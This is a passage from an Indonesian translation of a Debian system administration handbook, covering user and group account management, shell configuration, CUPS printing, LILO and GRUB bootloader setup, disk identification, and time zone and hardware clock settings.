Format berikut didokumentasikan dalam man pages berikut: passwd(5), shadow(5), and group(5).

8.4.3. Memodifikasi Akun atau Password yang Ada

Perintah berikut memungkinkan modifikasi informasi tersimpan pada field spesifik pada basisdata pengguna: passwd mengizinkan pengguna mengganti password mereka, di mana ketika dijalankan, memerbarui berkas /etc/shadow; chfn (CHange Full Name), milik pengguna-super (root), memodifikasi field GECOS. chsh (CHange SHell) mengizinkan pengguna untuk mengubah shell login mereka; akan tetapi pilihan yang tersedia terbatas yang terdaftar pada /etc/shells; di samping itu, administrator tidak terikat pada batasan ini dan dapat mengatur shell ke program pilihan mereka.

Akhirnya, perintah chage (CHange AGE) mengizinkan administrator mengubah pengaturan masa kadaluarsa password (pilihan -l pengguna akan menampilkan pengaturan kini). Anda dapat pula memaksa masa kadaluarsa password menggunakan perintah passwd -e pengguna, di mana pengguna perlu mengganti password mereka ketika login berikutnya.

8.4.4. Menonaktifkan sebuah Akun

Anda mungkin perlu “menonaktifkan sebuah akun” (mengunci seorang pengguna), sebagai tindakan disipliner, untuk tujuan investigasi, atau ketika saat berkepanjangan atau ketidakpastian kehadiran penguna. Akun dinonaktifkan berarti pengguna tidak dapat login atau mendapatkan akses ke mesin. Akun tetap ada pada mesin dan tidak ada berkas atau data yang dihapus; hanya tidak dapat diakses. Hal ini dapat dilakukan dengan perintah passwd -l pengguna (lock). Mengaktifkan kembali akun diaktifkan dengan cara yang mirip, dengan pilihan (unlock) -u.

LEBIH JAUH NSS dan basisdata sistem

Daripada menggunakan berkas yang biasanya untuk mengelola daftar pengguna dan kelompok, Anda dapat menggunakan tipe basisdata lain, seperti LDAP atau db, dengan menggunakan modul NSS (Name Service Switch) yang cocok. Modul yang diguankan terdaftar di berkas /etc/nsswitch.conf, di bawah entri passwd, shadow dan group. Lihat Bagian 11.7.3.1, “Mengkonfigurasi NSS” untuk sebuah contoh spesifik penggunaan modul NSS dengan LDAP.

8.4.5. Daftar Kelompok: /etc/group

Kelompok terdaftar di berkas /etc/group, basisdata tekstuan sederhana dalam format mirip berkas /etc/passwd, dengan field sebagai berikut:

- nama grup;

- password (pilihan): Ini hanya digunakan untuk menggabungkan kelompok ketika seseorang bukan anggota yang biasa (dengan perintah newgrp atau sg, lihat bilah tepi KEMBALI KE DASAR Bekerja dengan beberapa kelompok);

- gid: nomor identifikasi unik kelompok;

- daftar anggota: daftar nama penggua yang merupakan anggota kelompok, dipisahkan dengan koma.

KEMBALI KE DASAR Bekerja dengan beberapa kelompok

Setiap pengguna mungkin anggota dari beberapa kelompok; salah satunya “kelompok utama” mereka. Kelompok utama pengguna secara standar, dibuat ketika konfigurasi awal pengguna. Secara standar, setiap berkas yang dibuat pengguna adalah milik mereka, sebagaimana kelompok utama mereka. Hal ini tidak selalu diinginkan; contohnya, ketika penggua bekerja pada direktori yang dibagi dengan kelompok selain kelompok utama mereka. Dalam hal ini, pengguna perlu mengubah kelompok utama mereka menggunakan perintah berikut; newgrp, yang memulai shell baru, atau sg, yang mengeksekusi perintah menggunakan kelompok alternatif yang diberikan. Perintah ini juga mengizinkan pengguna ke kelompok yang bukan miliknya. Jika kelompok diproteksi password, mereka perlu memasukkan password yang sesuai sebelum perintah dieksekusi.

Alternatifnya, pengguna dapat mengatur bit setgid pada direktori, akibatnya berkas yang dibuat dalam direktori tersebut secara otomatis dimilik oleh kelompok yang tepat. Untuk lebih rincinya, lihat bilah tepi KEAMANAN direktori setgid dan bit sticky.

Perintah id menampilkan kondisi terkini pengguna, dengan indentifier personal mereka (variabel uid), kelompok utama saat ini (variabel gid), dan daftar kelompok milik mereka (variabel groups).

Perintah addgroup dan delgroup menambah dan menghapus kelompok, masing-masing. Perintah groupmod memodifikasi informasi kelompok (gid-nya atau identifier). Perintah gpasswd kelompok mengubah password untuk kelompok, sedangkan perintah gpasswd -r kelompok menghapusnya.

TIP getent

Perintah getent (get entries) memeriksa basisdata sistem dengan cara standar, menggunakan fungsi pustaka yang sesuai, di mana akan memanggil modul NSS yang dikonfigurasi di berkas /etc/nsswitch.conf. Perintah mengambil satu atau dua argumen: nama basisdata untuk diperiksa, dan kata kunci yang mungkin. Nah, perintah getent passwd rhertzog akan memberikan informasi dari basisdata pengguna terkait pengguna rhertzog.

8.5. Membuat Akun

Salah satu aksi pertama yang perlu administrator lakukan ketika mengatur mesin baru ialah membuat akun pengguna. Hal ini dapat dilakukan dengan perintah adduser di mana nama-pengguna untuk pengguna baru akan dibuat, sebagai sebuah argumen.

Perintah adduser menanyakan beberapa hal sebelum membuat akun, namun penggunaannya cukup mudah. Berkas konfigurasinya, /etc/adduser.conf, menyertakan pengaturan yang menarik: dia dapat digunakan untuk secara otomatis mengatur quota untuk setiap pengguna dengna membuat template pengguna, atau mengganti lokasi akun pengguna; yang berikutnya jarang digunakan, namun akan memudahkan ketika Anda memiliki banyak pengguna dan ingin membagi akun mereka pada beberapa cakram, misalnya. Anda juga dapat memilih shell standar yang berbeda.

KEMBALI KE DASAR Quota

Istilah “quota” mengacu pada batasan pada sumberdaya mesin yang diperbolehkan digunakan oleh pengguna. Hal ini sering kali mengacu pada ruang diska.

Pembuatan sebuah akun mengumpulkan direktori home pengguna dengan konten berkas templat /etc/skel/. Menyediakan pengguna dengan set direktori standar dan berkas konfigurasinya.

Dalam beberapa kasus, hal ini akan berguna untuk menambahkan pengguna ke sebuah kelompok (di samping kelompok “utama” mereka) agar dapat memberi mereka hak akses tambahan. Misalnya, seorang pengguna yang disertakan dalam kelompok audio dapat mengakses perangkat audio (lihat bilah tepi KEMBALI KE DASAR Hak akses perangkat). Hal ini dapat dilakukan dengan perintah seperti adduser pengguna kelompok.

KEMBALI KE DASAR Hak akses perangkat

Setiap perangkat periferal hardware direpresentasikan di Unix dengan berkas khusus, biasanya disimpan dalam pohon berkas di bawah /dev/ (DEVices). Dua tipe berkas khusus ada berdasarkan sifat alami perangkat: berkas “mode karakter” dan “mode blok”, setiap mode terbatas hanya pada beberapa operasi. Mode karakter membatasi interaksi dengan operasi membaca/menulis, mode blok juga dapat mencari dalam data yang tersedia. Akhirnya, setiap berkas khusus diasosiasikan dengan dua nomor (“major” dan “minor”) yang mengidentifikasi perangkat ke kernel dengan cara yang unik. Seperti berkas, dibuat oleh perintah mknod, berisi nama simbolik (dan lebih mudah dikenali manusia).

Hak akses berkas khusus dipetakan ke hak akses yang diperlukan untuk mengakses perangkat itu sendiri. Nah, sebuah berkas seperti /dev/mixer, merepresentasikan audio mixer, hanya root yang memiliki hak akses baca/tulis dan anggota kelompok audio. Hanya pengguna ini yang dapat mengoperasikan audio mixer.

Perlu dicatat bahwa kombinasi udev dan policykit dapat menambahkan hak akses tambahan yang mengizinkan pengguna yang secara fisik terhubung ke konsol (dan tidak melalui jaringan) untuk mengakses perangkat tertentu.

8.6. Lingkungan Shell

Perintah interpreter (atau shell) bisa menjadi kontak pertama pengguna dengan komputer, dan mereka haruslan lebih bersahabat. Kebanyakan dari mereka menggunakan skrip inisiasi yang memungkinkan konfigurasi kebiasaan mereka (pelengkapan otomatis, teks sapaan, dll.).

bash, standar shell, gunakan skrip inisiasi /etc/bash.bashrc untuk shell “interactif”, dan /etc/profile untuk shell “login”.

KEMBALI KE DASAR Shell login dan shell (non) interaktif

Dalam istilah yang sederhana, shell login dipanggil ketika Anda login ke konsol entah itu secara lokal atau remote melalui ssh, atau ketika Anda menjalankan perintah bash --login secara eksplisit. Tak peduli apakah berupa shell login atau bukan, sebuah shell dapat menjadi interaktif (dalam sebuah terminal bertipe xterm misalnya); atau non-interaktif (ketika mengeksekusi sebuah skrip).

PENEMUAN Shell lain, skrip lain

Setiap perintah interpreter memiliki sintaks spesifik dan berkas konfigurasinya. Nah, zsh menggunakan /etc/zshrc dan /etc/zshenv; tcsh menggunakan /etc/csh.cshrc, /etc/csh.login dan /etc/csh.logout. Laman man untuk program ini mencatat berkas mana yang mereka gunakan.

Untuk bash, sebaiknya aktifkan “pelengkapan otomatis” dalam berkas /etc/bash.bashrc (dengan menghapus komentar beberapa baris).

KEMBALI KE DASAR Pelengkapan otomatis

Beberapa perintah interpreter menyediakan fitur pelengkapan otomatis, yang memungkinkan shell secara otomatis melengkapi sebagian nama perintah yang diketik atau argumen ketika pengguna menekan tombol Tab. Hal ini memudahkan pengguna bekerja lebih efisien dan tidak lagi rawan-kesalahan.

Fungsi ini sangat powerful dan fleksibel. Memungkinkan pula untuk mengonfigurasi tingkah-lakunya berdasarkan setiap perintah. Nah, argumen pertama yang mengikuti apt akan diajukan berdasarkan sintaks perintah ini, bahkan jika tidak cocok dengan beberapa berkas (dalam hal ini, kemungkinan pilihan ialah install, remove, upgrade, dll.).

Paket bash-completion berisi penyelesaian untuk sebagian besar program umum.

KEMBALI KE DASAR Tilde, pintasan ke HOME

Tilde biasanya digunakan untuk menunjukkan direktori di mana variabel lingkungan, HOME, mengarah (menjadi direktori home pengguna, seperti /home/rhertzog/). Perintah interpreter secara otomatis mengganti: ~/hello.txt menjadi /home/rhertzog/hello.txt.

Tilde juga mengizinkan akses ke direktori home pengguna lain. Nah, ~rmas/bonjour.txt sinonim dengan /home/rmas/bonjour.txt.

Sebagai tambahan skrip umum ini, setiap pengguna dapat membuat ~/.bashrc dan ~/.bash_profile mereka sendiri untuk mengonfigurasi shell mereka. Perubahan paling umum ialah penambahan alias; merupakan kata yang secara otomatis diganti dengan eksekusi sebuah perintah, membuatnya lebih cepat menjalankan perintah tersebut. Misalnya, Anda dapat membuat alias la untuk perintah ls -la | less; kemudian Anda hanya perlu mengetik la untuk melihat isi direktori secara rinci.

KEMBALI KE DASAR Variabel lingkungan

Variabel lingkungan mengizinkan penyimpanan pengaturan global untuk shell atau berbagai program yang dipanggil. Mereka kontekstual (setiap proses memiliki set lingkungan variabel mereka sendiri) namun dapat diturunkan. Karakteristik terakhir menawarkan kemungkinan untuk shell login untuk menyatakan variabel yang akan dilalui semua program yang dieksekusi.

Pengaturan variabel lingkungan standar merupakan elemen penting dari konfigurasi shell. Membiarkan variabel spesifik ke sebuah shell, sebaiknya disimpan dalam berkas /etc/environment, karena dia digunakan oleh berbagai program untuk menginisiasi sesi shell. Variabel khususnya ditentukan di sana termasuk ORGANIZATION, di mana biasanya berisi nama perusahaan atau organisasi, dan HTTP_PROXY, di mana menunjukkan ada tidaknya dan lokasi sebuah proxy HTTP.

TIP Semua shell terkonfigurasi identik

Pengguna seringkali ingin mengonfigurasi shell login dan interaktifnya dalam cara yang sama. Untuk melakukannya, mereka memilih untuk meng-interpret (atau “source”) konten dari ~/.bashrc dalam berkas ~/.bash_profile. Memungkinkan pula dilakukan hal yang sama dengan berkas umum untuk semua pengguna (dengan memanggil /etc/bash.bashrc dari /etc/profile).

8.7. Konfigurasi Pencetak

Konfigurasi pencetak memang mengakibatkan banyak masalah untuk administrator dan pengguna pula. Masalah tersebut kini hanya merupakan masa lalu, terima kasih kepada CUPS, server pencetak bebas yang menggunakan IPP (Internet Printing Protocol).

Debian mendistribusikan CUPS yang dibagi menjadi beberapa paket. Inti dari sistem ini adalah penjadwal, cupsd, yang ada dalam paket cups-daemon. cups-client berisi program utilitas untuk berinteraksi dengan server, cupsd. lpadmin mungkin adalah utilitas yang paling penting, karena sangat penting untuk menyiapkan printer, tetapi ada juga fasilitas untuk menonaktifkan atau mengaktifkan antrian printer, melihat atau menghapus pekerjaan cetak, dan menampilkan atau mengatur opsi printer. Framework CUPS didasarkan pada sistem pencetakan System V, tetapi ada paket kompatibilitas, cups-bsd, yang memungkinkan penggunaan perintah seperti lpr, lpq, dan lprm dari sistem pencetakan BSD tradisional.

KOMUNITAS CUPS

CUPS merupakan proyek dan sebuah merk dagang yang dimiliki dan dikelola oleh Apple, Inc. Sebelum diakuisisi oleh Apple, CUPS dikenal sebagai Commmon Unix Printing System.

→ https://www.cups.org/

Penjadwal mengelola pekerjaan cetak dan pekerjaan ini melintasi sistem penyaringan untuk menghasilkan berkas yang akan dipahami dan dicetak oleh printer. Sistem penyaringan disediakan oleh paket cups-filter (https://salsa.debian.org/printing-team/cups-filters) bersama dengan paket printer-driver-*. CUPS yang dikombinasikan dengan cups-filter dan printer-driver-* adalah dasar dari sistem pencetakan Debian.

Printer modern yang diproduksi dan dijual dalam sepuluh tahun terakhir hampir selalu mampu AirPrint, dan CUPS dan cups-filter di Debian Buster memiliki segalanya yang diperlukan untuk memanfaatkan fasilitas ini di jaringan. Intinya, printer ini adalah printer IPP dan sangat cocok untuk sistem pencetakan tanpa driver, mengurangi sistem ke CUPS ditambah cups-filter. Paket pengandar pencetak dapat dilupakan, dan perangkat lunak pencetakan non-bebas dari vendor seperti Canon dan Brother tidak lagi diperlukan. Printer yang terhubung dengan USB dapat memanfaatkan printer modern dengan paket ippusbxd.

Perintah apt install cups akan menginstal CUPS dan cups-filter. Ini juga akan menginstal printer-driver-gutenprint yang direkomendasikan untuk menyediakan driver untuk berbagai macam printer, tetapi, kecuali printer dioperasikan tanpa driver, driver printer alternatif mungkin diperlukan untuk perangkat tertentu .

Sebagai paket yang direkomendasikan oleh cups-daemon, cups-browsed akan berada pada sistem dan antrian cetak jaringan, dan printer modern dapat secara otomatis ditemukan dan diatur dari broadcast DNS-SD mereka (Bonjour). Pencetak USB harus disiapkan secara manual seperti yang dijelaskan di paragraf berikutnya.

Sistem pencetakan dikelola dengan mudah melalui antarmuka web yang dapat diakses pada alamat lokal http://localhost:631/. Di sana Anda dapat menambahkan dan menghapus pencetak USB dan jaringan dan mengadministrasi sebagian besar aspek perilaku mereka. Tugas administrasi serupa juga dapat dilaksanakan melalui antarmuka grafis yang disediakan oleh lingkungan desktop atau antarmuka grafis system-config-printer (dari paket Debian dengan nama yang sama).

8.8. Mengonfigurasi Bootloader

Mungkin ini telah berfungsi, namun akan lebih baik jika mengetahui bagaimana mengonfigurasi dan menginstall bootloader jika dia menghilang dari Master Boot Record. Hal ini dapat terjadi setelah instalasi sistem operasi lainnya, seperti Windows. Informasi berikut dapat pula membantu Anda untuk memodifikasi konfigurasi bootloader jika diperlukan.

KEMBALI KE DASAR Master boot record

Master Boot Record (MBR) menempati 512 byte pertama pada hard disk pertama, dan merupakan yang pertama dimuat oleh BIOS untuk mengambil alih kontrol ke sebuah program yang dapat mem-boot sistem operasi yang diinginkan. Umumnya, sebuah bootloader terinstall di MBR, menghapus konten sebelumnya.

8.8.1. Mengidentifikasi Cakram

KULTUR udev dan /dev/

Direktori /dev/ secara tradisional menyimpan berkas yang disebut berkas “khusus”, dimaksudkan untuk merepresentasikan peripheral sistem (lihat bilah tepi KEMBALI KE DASAR Hak akses perangkat). Suatu ketika, dia seharusnya berisi berkas yang kemungkinan akan digunakan. Pendekatan ini memiliki beberapa latarbelakang yang kenyataannya membatasi beberapa perangkat yang mungkin digunakan (karena daftar nama yang sulit dikodekan), dan tidak mungkin untuk mengetahui berkas khusus yang mana yang sedang digunakan.

Dewasa ini, pengelolaan berkas khusus seluruhnya bersifat dinamis dan sesuai lebih baik dengan sifat peranti komputer yang lepas pasang. Kernel berkerja sama dengan udev (Bagian 9.11.3, “Bagaimana udev Bekerja”) untuk membuat dan menghapusnya jika diperlukan ketika perangkat tertentu muncul dan menghilang. Untuk alasan ini, /dev/ tidak perlu bersifat persisten dan merupakan sistem berkas berbasis-RAM yang dimulai kosong dan hanya berisi entri yang sesuai.

Kernal mengomunikasikan banyak informasi tentang perangkat-perangkat baru yang ditambahkan dan menyediakan pasangan nomor major/minor untuk mengidentifikasinya. Dengan ini udevd dapat membuat berkas khusus di bawah nama dan dengan hak akses yang dimintanya. Dapat pula membuat alias dan melakukan tindakan lain (tugas pendaftaran atau inisialisasi misalnya). Tingkah laku udevd didorong oleh kumpulan besar aturan (yang dapat dikustomisasi).

Dengan penamaan dinamis, Anda dapat menetapkan nama yang sama untuk perangkat terterntu, tergantung penghubung atau urutan hubungan, yang khususnya berguna ketika Anda menggunakan berbagai peripheral USB. Partisi pertama pada hard drive pertama kemudian dapat disebut /dev/sda1 untuk kompabilitas, atau jika Anda lebih memilih /dev/root-partition, atau bahkan keduanya pada saat yang sama karena udevd dapat dikonfigurasi secara otomatis untuk membuat tautan simbolis.

Jaman dahulu, beberapa modul kernel secara otomatis dimuat ketika Anda mencoba mengakses berkas perangkat terkait. Ini tidak lagi terjadi, dan berkas khusus periferal tidak lagi ada sebelum memuat modul; ini bukan masalah besar, karena kebanyakan modul dimuat saat boot terimakasih untuk deteksi otomatis perangkat keras. Namun untuk periferal yang tidak dapat terdeteksi (seperti perangkat keras jadul atau tetikus PS/2), hal ini tidak bekerja. Pertimbangkan menambahkan modul, floppy, psmouse, dan mousedev ke /etc/modules agar memaksa memuatnya pada saat boot.

Konfigurasi bootloader harus mengidentifikasi perangkat keras yang berbeda dan partisinya. Linux menggunakan berkas khusus “block” yang tersimpan dalam direktori /dev/, untuk tujuan ini. Sejak Debian Squeeze, pola penamaan untuk hard drive telah disatukan oleh kernel Linux, dan semua hard drive (IDE/PATA, SATA, SCSI, USB, IEEE 1394) sekarang direpresentasikan oleh /dev/sd*.

Setiap partisi direpresentasikan oleh nomornya pada disk di mana dia berasa: misalnya, /dev/sda1 merupakan partisi pertama pada disk pertama, dan /dev/sdb3 adalah partisi ketiga pada disk kedua.

Arsitektur PC (atau "i386", termasuk saudara sepupunya "amd64" yang lebih muda) telah lama terbatas untuk menggunakan format tabel partisi "MS-DOS", yang hanya mengizinkan empat partisi "primer" per disk. Untuk melalui batasan ini, salah satunya harus dibuat sebagai partisi "perluasan", dan kemudian dapat memuat partisi tambahan "sekunder". Partisi sekunder ini harus bernomor dari 5. Maka partisi sekunder pertama dapat berupa /dev/sda5, diikuti oleh /dev/sda6, dst.

Keterbatasan lain dari format tabel partisi MS-DOS adalah itu hanya mengizinkan disk berukuran sampai dengan 2 TiB, yang menjadi masalah nyata dengan disk-disk terkini.

Suatu format tabel partisi baru bernama GPT melonggarkan kendala ini pada banyaknya partisi (itu mengizinkan sampai dengan 128 partisi ketika memakai setelan standar) dan atas ukuran disk (sampai dengan 8 ZiB, yang lebih dari 8 miliar terabita). Bila Anda hendak membuat banyak partisi fisik pada disk yang sama, maka Anda mesti memastikan bahwa Anda membuat tabel partisi dalam format GPT ketika mempartisi disk Anda.

Tidak mudah untuk mengingat cakram apa yang terhubung dengan SATA controller, atau pada posisi ketiga dalam chain SCSI, khususnya sejak penamaan hard drive yang tertancap (termasuk di antaranya kebanyakan disk SATA dan disk eksternal) dapat berubah dari satu boot ke lainnya. Untungnya, udev membuat tambahannya pada /dev/sd*, tautan simbolis dengan nama tetap, yang dapat Anda gunakan kemudian jika Anda ingin mengidentifikasi hard drive dengan cara yang tidak membingungkan. Tautan simbolis ini tersimpan di /dev/disk/by-id. Pada mesin dengan dua cakram fisik, misalnya, dapat ditemukan sebagai berikut:

mirexpress:/dev/disk/by-id# ls -l

total 0

lrwxrwxrwx 1 root root  9 23 jul. 08:58 ata-STM3500418AS_9VM3L3KP -> ../../sda

lrwxrwxrwx 1 root root 10 23 jul. 08:58 ata-STM3500418AS_9VM3L3KP-part1 -> ../../sda1

lrwxrwxrwx 1 root root 10 23 jul. 08:58 ata-STM3500418AS_9VM3L3KP-part2 -> ../../sda2

[...]

lrwxrwxrwx 1 root root  9 23 jul. 08:58 ata-WDC_WD5001AALS-00L3B2_WD-WCAT00241697 -> ../../sdb

lrwxrwxrwx 1 root root 10 23 jul. 08:58 ata-WDC_WD5001AALS-00L3B2_WD-WCAT00241697-part1 -> ../../sdb1

lrwxrwxrwx 1 root root 10 23 jul. 08:58 ata-WDC_WD5001AALS-00L3B2_WD-WCAT00241697-part2 -> ../../sdb2

[...]

lrwxrwxrwx 1 root root  9 23 jul. 08:58 scsi-SATA_STM3500418AS_9VM3L3KP -> ../../sda

lrwxrwxrwx 1 root root 10 23 jul. 08:58 scsi-SATA_STM3500418AS_9VM3L3KP-part1 -> ../../sda1

lrwxrwxrwx 1 root root 10 23 jul. 08:58 scsi-SATA_STM3500418AS_9VM3L3KP-part2 -> ../../sda2

[...]

lrwxrwxrwx 1 root root  9 23 jul. 08:58 scsi-SATA_WDC_WD5001AALS-_WD-WCAT00241697 -> ../../sdb

lrwxrwxrwx 1 root root 10 23 jul. 08:58 scsi-SATA_WDC_WD5001AALS-_WD-WCAT00241697-part1 -> ../../sdb1

lrwxrwxrwx 1 root root 10 23 jul. 08:58 scsi-SATA_WDC_WD5001AALS-_WD-WCAT00241697-part2 -> ../../sdb2

[...]

lrwxrwxrwx 1 root root  9 23 jul. 16:48 usb-LaCie_iamaKey_3ed00e26ccc11a-0:0 -> ../../sdc

lrwxrwxrwx 1 root root 10 23 jul. 16:48 usb-LaCie_iamaKey_3ed00e26ccc11a-0:0-part1 -> ../../sdc1

lrwxrwxrwx 1 root root 10 23 jul. 16:48 usb-LaCie_iamaKey_3ed00e26ccc11a-0:0-part2 -> ../../sdc2

[...]

lrwxrwxrwx 1 root root  9 23 jul. 08:58 wwn-0x5000c50015c4842f -> ../../sda

lrwxrwxrwx 1 root root 10 23 jul. 08:58 wwn-0x5000c50015c4842f-part1 -> ../../sda1

[...]

mirexpress:/dev/disk/by-id#

Catat bahwa beberapa disk terdaftar beberapa kali (karena secara simultan berlaku sebagai disk ATA dan disk SCSI), namun informasi yang relevan utamanya dalam model dan nomor seri disk, yang dapat Anda temukan berkas peripheralnya.

Contoh berkas konfigurasi pada bagian ini berdasarkan pengaturan yang sama: sebuah disk SATA, di mana parsiti pertama merupakan instalasi Windows lama dan yang kedua berisi Debian GNU/Linux.

8.8.2. Mengonfigurasi LILO

LILO (LInux LOader) merupakan bootloader tertua - solid namun karatan. Dia menulis alamat fisik kernel untuk di-boot pada MBR, karenanya setiap pembaruan LILO (atau berkas konfigurasinya) harus diikuti oleh perintah lilo. Lupa melakukannya akan mengakibatkan sistem tidak dapat diboot jika kernel lama dihapus atau diganti karena yang baru tidak akan berada di lokasi yang sama pada cakram (disk).

Berkas konfigurasi LILO ialah /etc/lilo.conf; sebuah berkas sederhana untuk konfigurasi standar di ilustrasikan pada contoh berikut.

Contoh 8.4. Berkas konfigurasi LILO

# The disk on which LILO should be installed.

# By indicating the disk and not a partition.

# you order LILO to be installed on the MBR.

boot=/dev/sda

# the partition that contains Debian

root=/dev/sda2

# the item to be loaded by default

default=Linux

# the most recent kernel image

image=/vmlinuz

label=Linux

initrd=/initrd.img

read-only

# Old kernel (if the newly installed kernel doesn't boot)

image=/vmlinuz.old

label=LinuxOLD

initrd=/initrd.img.old

read-only

optional

# only for Linux/Windows dual boot

other=/dev/sda1

label=Windows

8.8.3. Konfigurasi GRUB 2

GRUB (GRand Unified Bootloader) lebih baru. Tidak perlu menjalankannya setiap pembaruan kernel; GRUB tau bagaimana cara membaca sistemberkas dan menemukan lokasi kernel pada cakram dengan sendirinya. Untuk menginstallnya pada MBR pada cakram pertama, ketikkan grub-install /dev/sda.

CATATAN Nama cakram untuk GRUB

GRUB hanya dapat mengidentifikasi hard drive berdasarkan informasi yang disediakan oleh BIOS. (hd0) merupakan cakram pertama yang terdeteksi, (hd1) yang kedua, dll. Dalam kebanyakan kasus, urutan ini biasanya tepat sesuai dengan urutan cakram di Linux, namun masalah dapat timbul ketika Anda mengasosiasikan cakram SCSI dan IDE. GRUB terbiasa menyimpan korespondensi apa yang dideteksinya pada berkas /boot/grub/device.map. GRUB menghindari masalah ini sekarang dengan memakai UUID atau label sistem berkas ketika menjangkitkan grub.cfg. Namun, berkas peta peranti belum usang, karena itu dapat dipakai untuk menimpa ketika lingkungan saat ini berbeda dari yang ada pada boot. Jika Anda menemukan kesalahan di sana (karena Anda tahu bahwa BIOS mendeteksi cakram pada urutan yang berbeda), koreksilah secara manual dan jalankan grub-install lagi. grub-mkdevicemap dapat membantu membuat suatu berkas device.map sebagai awalan.

Partisi juga memiliki nama spesifik dalam GRUB. Ketika Anda menggunakan partsisi “klasikal” dalam format MS-DOS, partisi pertama pada cakram pertama dilabeli, (hd0,msdos1), yang kedua (hd0,msdos1), dll.

Konfigurasi GRUB 2 disimpan dalam /boot/grub/grub.cfg, namun berkas ini (di Debian) dibuat oleh lainnya. Berhati-hatilah untuk tidak memodifikasinya secara manual, karena modifikasi lokal akan hilang ketika dijalankan update-grub (yang dapat terjadi ketika memerbarui berbagai paket). Modifikasi paling umum berkas /boot/grub/grub.cfg (untuk menambahkan parameter baris perintah ke kernel atau mengganti durasi menu ditampilkan, misalnya) dibuat melalui variabel dalam /etc/default/grub. Untuk menambahkan masukan ke menu, Anda dapat membuat berkas /boot/grub/custom.cfg atau memodifikasi berkas /etc/grub.d/40_custom. Untuk konfigurasi yang lebih kompleks, Anda dapat mengubah berkas-berkas lain dalam /etc/grub.d, atau menambahkan ke mereka; skrip-skrip ini mesti mengembalikan snippet konfigurasi, mungkin dengan menggunakan program eksternal. Skrip ini yang akan memerbarui daftar kernel untuk di-boot: 10_linux menangani kernel Linux yang terinstall; 20_linux_xen menangani sistem virtual Xen, dan 30_os-prober mendaftar sistem operasi lain (Windows, OS X, Hurd).

8.9. Konfigurasi Lain: Sinkronisasi Waktu, Log, Berbagi Akses…

Beberapa elemen yang ada pada bagian ini cukup baik untuk diketahui oleh siapa saja yang ingin menguasai seluruh aspek konfigurasi sistem GNU/Linux. Akan tetapi, mereka diperlakukan secara ringkat dan seringkali menacu ke dokumentasi.

8.9.1. Zonawaktu

KEMBALI KE DASAR Tautan simbolis

Tautan simbolis adalah penunjuk ke berkas lain. Ketika Anda mengaksesnya, berkas yang ditunjuk dibuka. Penghapusan tautan tidak akan menyebabkan penghapusan berkas yang ditunjuk. Sebaliknya, dia tidak memiliki set hak aksesnya sendiri, namun menggunakan hak akses targetnya. Akhirnya, dia dapat menunjuk ke berbagai tipe berkas: direktori, berkas khusus (socket, named pipes, berkas perangkat, dll.), bahkan tautan simbolis lain.

Perintah ln -s target nama-tautan membuat tautan simbolis, bernama nama-tautan, menunjuk ke target.

Jika target tidak ada, maka tautannya “rusak” dan mengaksesnya akan menyebabkan kesalahan menunjukkan bahwa berkas target tidak ada. Jika tautan menunjuk tautan lain, Anda akan memiliki “rantai” tautan yang menjadi “lingkaran” jika salah satu targetnya menunjuk salah satu pendahulunya. Dalam kasus ini, mengakses salah satu tautan dalam lingkaran akan menghasilkan kesalahan tertentu (“terlalu banyak level tautan simbolis”); ini artinya kernel menyerah setelah beberapa ronde putaran.

Zona waktu, dikonfigurasi ketika instalasi awal, adalah sebuah butir konfigurasi untuk paket tzdata. Untuk memodifikasinya, gunakan perintah dpkg-reconfigure tzdata, yang memungkinkan Anda untuk memilih zona waktu yang akan digunakan dengan cara yang interaktif. Konfigurasinya disimpan di dalam berkas /etc/timezone. Selanjutnya, berkas yang sesuai dalam direktori /usr/share/zoneinfo akan disalin ke dalam /etc/localtime; berkas ini berisi aturan tentang tanggal dimana daylight saving time aktif, untuk negara-negara yang menggunakannya.

Ketika Anda perlu mengubah zonawaktu sementara, gunakan variabel lingkungan TZ, yang mana diprioritaskan daripada sistem standar yang terkonfigurasi:

$ date

Thu Feb 19 11:25:18 CET 2015

$ TZ="Pacific/Honolulu" date

Thu Feb 19 00:25:21 HST 2015

CATATAN Jam sistem, jam perangkat keras

Ada dua sumber waktu dalam sebuah komputer. Motherboard komputer memiliki jam perangkat keras, disebut “CMOS clock”. Jam ini tidak cukup tepat, dan menyediakan waktu akses yang agak lambat. Kernel sistem operasi juga punya, jam perangkat lunak, yang selalu diperbaharui dengan caranya sendiri (mungkin dengan bantuan server waktu, lihat Bagian 8.9.2, “Sinkronisasi Waktu”). Jam sistem ini umumnya lebih akurat, khususnya karena dia tidak memerlukan akses ke variabel perangkat keras. Akan tetapi, karena hanya ada di memori hidup, ini dinolkan setiap kali mesin boot, berbeda dengan jam CMOS, yang memiliki baterai sehingga “bertahan hidup” tatkala reboot atau mesin dimatikan. Jam sistem, diatur dari jam CMOS selama boot, dan jam CMOS diperbaharui ketika dimatikan (untuk menangani perubahan atau perbaikan jika tidak diatur dengan benar).

Pada prakteknya, ada sebuah masalah, karena jam CMOS tidak lebih dari sekedar penghitung dan tidak berisi informasi terkait zona waktu. Ada pilihan untuk membuat interpretasi yang terkait: apakah sistem diputuskan dijalankan pada waktu universal (UTC, dulunya GMT), atau dalam waktu lokal. Pilihan ini dapat menjadi sederhana, namun sesuatu sebenarnya lebih rumit: sebagai dampak dari daylight saving time, hal ini tidaklah tetap. Hasilnya bahwa sistem tidak mungkin menentukan apakah offset tepat, khsusnya periode seputar perubahan waktu. Karena selalu mungkin untuk merekonstruksi waktu lokal dari waktu universal dan informasi zonawaktu, kami sangat menyarankan menggunakan jam CMOS dalam waktu universal.

Sayangnya, sistem Windows dalam konfigurasi standar mereka mengabaikan rekomendasi ini; jam CMOS mereka tetap dalam waktu lokal, menerapkan perubahan ketika booting komputer dengan mencoba menebak selama perubahan waktu apakah perubahan telah diterapkan atau belum. Pekerjaan ini baik secara relatif, selama sistem hanya memiliki Windows dijalankan. Namun ketika sebuah komputer memiliki beberapa sistem (entah itu berupa konfigurasi “dual-boot” atau menjalankan sistem lain melalui mesin virtual), kesemrawutan terjadi, tanpa bermaksud menentukan apakan waktunya benar. Jika Anda sangat perlu Windows pada sebuah komputer, Anda perlu mengonfigurasinya agar jam CMOS dengan UTC (mengatur kunci registry HKLM\SYSTEM\CurrentControlSet\Control\TimeZoneInformation\RealTimeIsUniversal ke “1” sebagai DWORD), atau gunakan hwclock --localtime --set pada sistem Debian untuk mengatur jam perangkat keras (hardware clock) dan menandainya sebagai pelacak waktu lokal (dan pastikan secara manual periksa jam Anda dalam musim semi dan musim gugur).

8.9.2. Sinkronisasi Waktu

